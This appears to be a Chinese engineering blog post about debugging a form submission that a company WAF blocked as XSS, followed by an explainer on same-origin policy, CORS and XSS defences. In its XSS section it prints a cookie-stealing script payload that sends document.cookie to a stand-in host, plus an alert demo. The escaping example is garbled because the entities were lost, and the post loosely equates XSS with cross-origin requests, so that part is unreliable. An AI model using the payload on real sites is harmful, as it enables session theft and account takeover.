层层剖析一次 HTTP POST 请求事故
vivo 互联网服务器团队- Wei Ling
本文主要讲述的是如何根据公司网络架构和业务特点,锁定正常请求被误判为跨域的原因并解决。
一、问题描述
某一个业务后台在表单提交的时候,报跨域错误,具体如下图:
从图中可看出,报错原因为HTTP请求发送失败,由此,需先了解HTTP请求完整链路是什么。
HTTP请求一般经过3个关卡,分别为DNS、Nginx、Web服务器,具体流程如下图:
浏览器发送请求首先到达当地运营商DNS服务器,经过域名解析获取请求 IP 地址
浏览器获取 IP 地址后,发送HTTP请求到达Nginx,由Nginx反向代理到Web服务端
最后,由web服务端返回相应的资源
了解HTTP基本请求链路后,结合问题,进行初步调查,发现此form表单是application/json格式的post提交。同时,此业务系统采用了前后端分离的架构方式(页面域名和后台服务域名不同 ), 并且在Nginx已经配置跨域解决方案。基于此,我们进行分析。
二、问题排查步骤
第一步:自测定位
既然是form表单,我们采用控制变量法,尝试对每一个字段进行修改后提交测试。在多次试验后,锁定表单中的moduleExport 字段的变化会导致这个问题。
考虑到moduleExport字段在业务上是一段JS代码,我们尝试对这段JS代码进行删除/修改,发现:当字段moduleExport中的这段js代码足够小的时候,问题消失。
基于上述发现,我们第一个猜想是:会不会是HTTP响应方的请求body大小限制导致了这个问题。
第二步:排查 HTTP 请求 body 限制
由于采用前后端分离,真实的请求是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:
那么理论上,如果是HTTP请求body的限制,则可能发生在 LVS 层或者Nginx层或者Tomcat。我们一步步排查:
首先排查LVS层。若LVS层故障,则会出现网关异常的问题,返回码会为502。故此,通过抓包查看返回码,从下图可看出,返回码为418,故而排除LVS异常的可能
其次排查Nginx 层。Nginx层的HTTP配置如下:
我们看到,在Nginx层,最大支持的HTTP请求body为50m, 而我们这次事故的form请求表单,大约在2M, 远小于限制, 所以:不是Nginx 层HTTP请求body的限制造成的。
然后排查 Tomcat 层,查看 Tomcat 配置:
我们发现, Tomcat 对于最大post请求的size限制是-1, 语义上表示为无限制,所以: 不是 Tomcat 层HTTP请求body的限制造成的。
综上,我们可以认为:此次问题和HTTP请求body的大小限制无关。
那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?
第三步:集思广益
我们把相关的运维方拉到了一个群里面进行讨论,讨论分两个阶段
- 【第一阶段】
运维方同学发现 Tomcat 是使用容器进行部署的,而容器和nginx层中间,存在一个容器自带的nameserver层——ingress。我们查看ingress的相关配置后,发现其对于HTTP请求body的大小限制为3072m。排除是ingress的原因。
- 【第二阶段】
安全方同学表示,公司为了防止XSS攻击,会对于所有后台请求,都进行XSS攻击的校验,如果校验不通过,会报跨域错误。
也就是说,理论上完整的网络层调用链如下图:
并且从WAF的工作机制和问题表象上来看,很有可能是WAF层的原因。
第四步:WAF 排查
带着上述的猜测,我们重新抓包,尝试获取整个HTTP请求的optrace路径,看看是不是在WAF层被拦截了,抓包结果如下:
从抓包数据上来看,status为complete代表前端请求发送成功,返回码为418,而optrace中的ip地址经查询为WAF服务器ip地址。
综上而言,form表单中的moduleExport字段的变化很可能导致在WAF层被拦截。而出现问题的moduleExport字段内容如下:
module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
......
config: {
......
validator: function(value, callback) {
// 至少填写一项
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填写一项'))
}
callback()
}
}
......
}
我们进行一个字段一个字段排查后,锁定module.exports.items.properties.configs.config.validator字段会触发WAF的拦截机制:请求包过WAF模块时会对所有的攻击规则都会进行匹配,若属于高危风险规则,则触发拦截动作。
三、 问题分析
整个故障的原因,是业务请求的内容触发了WAF的XSS攻击检测。那么问题来了
为什么需要WAF
什么是XSS攻击
在说明XSS之前,先得说清楚浏览器的跨域保护机制
3.1 跨域保护机制
现代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:
协议名 HTTPS,HTTP
域名
端口名
均一样的情况下,才允许访问相同的cookie、localStorage或是发送Ajax请求等等。若在不同源的情况下访问,就称为跨域。而在日常开发中,存在合理的跨域需求,比如此次问题故障对应的系统,由于采用了前后端分离,导致页面的域名和后台的域名必然不相同。那么如何合理跨域便成了问题。
常见的跨域解决方案有:IFRAME, JSONP, CORS 三种。
IFRAME 是在页面内部生成一个IFRAME,并在IFRAME内部动态编写JS进行提交。用到此技术的有早期的EXT框架等等。
JSONP 是将请求序列化成一个string,然后发起一个JS请求,带上string。此做法需要后台支持,并且只能使用GET请求。在当前的业内已经废除此方案。
CORS 协议的应用比较广泛,并且此次出事故的系统是采用了CORS进行前后端分离。那么,什么是CORS协议呢?
3.2 CORS协议
CORS(Cross-Origin Resource Sharing)跨源资源分享是解决浏览器跨域限制的W3C标准(官方文档),其核心思路是:在HTTP的请求头中设置相应的字段,浏览器在发现HTTP请求的相关字段被设置后,则会正常发起请求,后台则通过对这些字段的校验,决定此请求是否是合理的跨域请求。
CORS协议需要服务器的支持(非服务器的业务进程), 比如 Tomcat 7及其以后的版本等等。
对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。
因此,实现CORS通信的关键是服务器(服务器端可判断,让哪些域可以请求)。只要服务器实现了CORS协议,就可以跨源通信。
虽然CORS解决了跨域问题,但引入了风险,如XSS攻击,因此在到达服务器之前需加一层Web应用防火墙(WAF),它的作用是:过滤所有请求,当发现请求是跨域时,会对整个请求的报文进行规则匹配,如果发现规则不匹配,则直接报错返回(类似于此次案例中的418)。
整体流程如下:
不合理的跨域请求,我们一般认为是侵略性请求,这一类的请求,我们视为XSS攻击。那么广义而言的XSS攻击又是什么呢?
3.3 XSS 攻击机制
XSS为跨站脚本攻击(Cross-Site Scripting)的缩写,可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookiescript>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
XSS通过伪造虚假的输入表单骗取个人信息、显示伪造的文章或者图片等方式可窃取用户的 Cookie,盗用Cookie后就可冒充用户访问各种系统,危害极大。
下面给出2种XSS防御机制。
3.4 XSS 防御机制
XSS防御机制主要包括以下两点:
3.4.1 设置 Cookie 为 HTTPOnly
设置了 HTTPOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
3.4.2 过滤特殊字符
例如将 < 转义为 < ,将 > 转义为 >,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
转义后:
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
四、问题解决
在确定问题后,让安全团队修改WAF的拦截规则后,问题消失。
最后,对此问题进行总结。
五、问题总结
纵览整个排查过程,最耗费资源的工作集中于问题定位:到底是哪个模块出现了问题。而定位模块的最大难点在于:对于网络全链路的不了解(之前并不知晓WAF层的存在)。
那么,针对类似的问题,我们后面应该如何去加速问题的解决呢?我认为有两点需要注意:
采用控制变量法, 精准定位到问题的边界——什么时候能出现,什么时候不能出现。
熟悉每一个模块的存在,以及每一个模块的职责边界和风险可能。
下面来逐个解释:
5.1 确定问题边界
我们在一开始,确定是form表单导致的问题后,我们就逐个字段进行修改验证,最终确定其中某个字段导致的现象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐步分析字段中每个属性,从而最终确定XX属性的值触犯了WAF的规则机制。
5.2 定位模块错误
在此案例中,跨域拒绝的故障主要是网络层,那么我们就必须要摸清楚整个业务服务的网络层次结构。然后对每一层的情况进行分析。
在Nginx层,我们对配置文件进行分析
在ingress层,我们对其中的配置规则进行分析
在Tomcat层,我们对server.xml的属性进行分析
总结而言,我们必须熟悉每一个模块的职责,并且知晓如何判断每一个模块是否在整个链路中正常工作,只有基于此,我们才能将问题原因的范围逐步缩小,从而最后获得答案。
层层剖析一次 HTTP POST 请求事故的更多相关文章
- 干货|漫画算法:LRU从实现到应用层层剖析(第一讲)
今天为大家分享很出名的LRU算法,第一讲共包括4节. LRU概述 LRU使用 LRU实现 Redis近LRU概述 第一部分:LRU概述 LRU是Least Recently Used的缩写,译为最近最 ...
- SpringMVC源码剖析(四)- DispatcherServlet请求转发的实现
SpringMVC完成初始化流程之后,就进入Servlet标准生命周期的第二个阶段,即“service”阶段.在“service”阶段中,每一次Http请求到来,容器都会启动一个请求线程,通过serv ...
- 源码剖析Django REST framework的请求生命周期
学习Django的时候知道,在Django请求的生命周期中,请求经过WSGI和中间件到达路由,不管是FBV还是CBV都会先执行View视图函数中的dispatch方法 REST framework是基 ...
- 服务网格数据平面的关键:层层剖析Envoy配置
Envoy是一种高性能C++分布式代理,专为单个服务和应用程序设计.作为Service Mesh中的重要组件,充分理解其配置就显得尤为重要.本文列出了使用Envoy而不用其他代理的原因.并给出了Env ...
- e.target.files[0]层层剖析
因为我现在拿到的一个功能是上传时过滤掉很大尺寸的图片,所以需要来拿到上传时选择图片的size,所以有了这篇博文 不多说 上代码 $('input').change(function(e){ 1️⃣.c ...
- 由上而下层层剖析细说PCI+ExpresS+11新版精髓
https://wenku.baidu.com/view/9a16c41fa300a6c30c229f87.html
- Spring Boot从零入门3_创建Hello World及项目剖析
目录 1 前言 2 名词术语 3 创建Hello World项目 3.1 基于STS4创建项目 3.2 使用Spring Initializr Website创建项目并导入 3.3 基于Spring ...
- OpenHarmony 3.1 Beta版本关键特性解析——HAP包安装实现剖析
(以下内容来自开发者分享,不代表 OpenHarmony 项目群工作委员会观点) 石磊 随着社会的不断发展,人们逐渐注重更加高效.舒适.便捷.有趣的生活和工作体验. OpenAtom OpenHa ...
- python操作三大主流数据库(10)python操作mongodb数据库④mongodb新闻项目实战
python操作mongodb数据库④mongodb新闻项目实战 参考文档:http://flask-mongoengine.readthedocs.io/en/latest/ 目录: [root@n ...
随机推荐
- poi整合springboot超简单入门例子
1.导入依赖 2.application.properties只需要数据库连接信息就可以 3.目录结构 有个没用的service,请忽略 4.Controller,因为入门列子,所以简单的导出 导入读 ...
- 用js中的let等操作,要手动开启ECMAScript6(如果不设置,let等ES6语法会报错)
问题:idea默认没有开启ECMAScript6,需要进行设置:(如果不设置,let等ES6语法会报错)步骤: File | Settings | Languages & Frameworks ...
- Numpy怎样给数组增加一个维度
Numpy怎样给数组增加一个维度 背景:很多数据计算都是二维或三维的,对于一维的数据输入为了形状匹配,经常需升维变成二维 需要:在不改变数据的情况下,添加数组维度:(注意观察这个例子,维度变了,但数据 ...
- spark-shell报错java.lang.IllegalArgumentException: java.net.UnknownHostException: namenode
在使用spark on yarn启动spark-shell时,发现报错: 是说找不到主机名为namenode的主机,那么应该是配置文件出错了. 经过检查,发现是spark-defaults.conf文 ...
- 创建可以运行宿主机GPU的容器
1.安装NVIDIA Container Runtime apt-get参考https://blog.csdn.net/li_ellin/article/details/107180516 yum参考 ...
- 01 | 堆、栈、RAII:C++里该如何管理资源?(极客时间笔记)
基本概念 堆,英文是 heap,在内存管理的语境下,指的是动态分配内存的区域.这个堆跟数据结构里的堆不是一回事.这里的内存,被分配之后需要手工释放,否则,就会造成内存泄漏. C++ 标准里一个相关概念 ...
- k8s节点执行master命令报错 localhost:8080 was refused
首先是按照二进制方式安装的k8s. [root@ht22 calico]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [ ...
- String类为什么被设计成不可变类
1.享元模式: 1.共享元素模式,也就是说:一个系统中如果有多处用到了相同的一个元素,那么我们应该只存储一份此元素,而让所有地方都引用这一个元素. 2.Java中String就是根据享元模式设计的,而 ...
- DFS与N皇后问题
DFS与N皇后问题 DFS 什么是DFS DFS是指深度优先遍历也叫深度优先搜索. 它是一种用来遍历或搜索树和图数据结构的算法 注:关于树的一些知识可以去看<树的概念及基本术语>这篇文章 ...
- Codeforces Round #752 (Div. 2) A B C
Problem - A - Codeforces Problem - B - Codeforces Problem - C - Codeforces A. Era 每个a[i] - i 表示的是当前a ...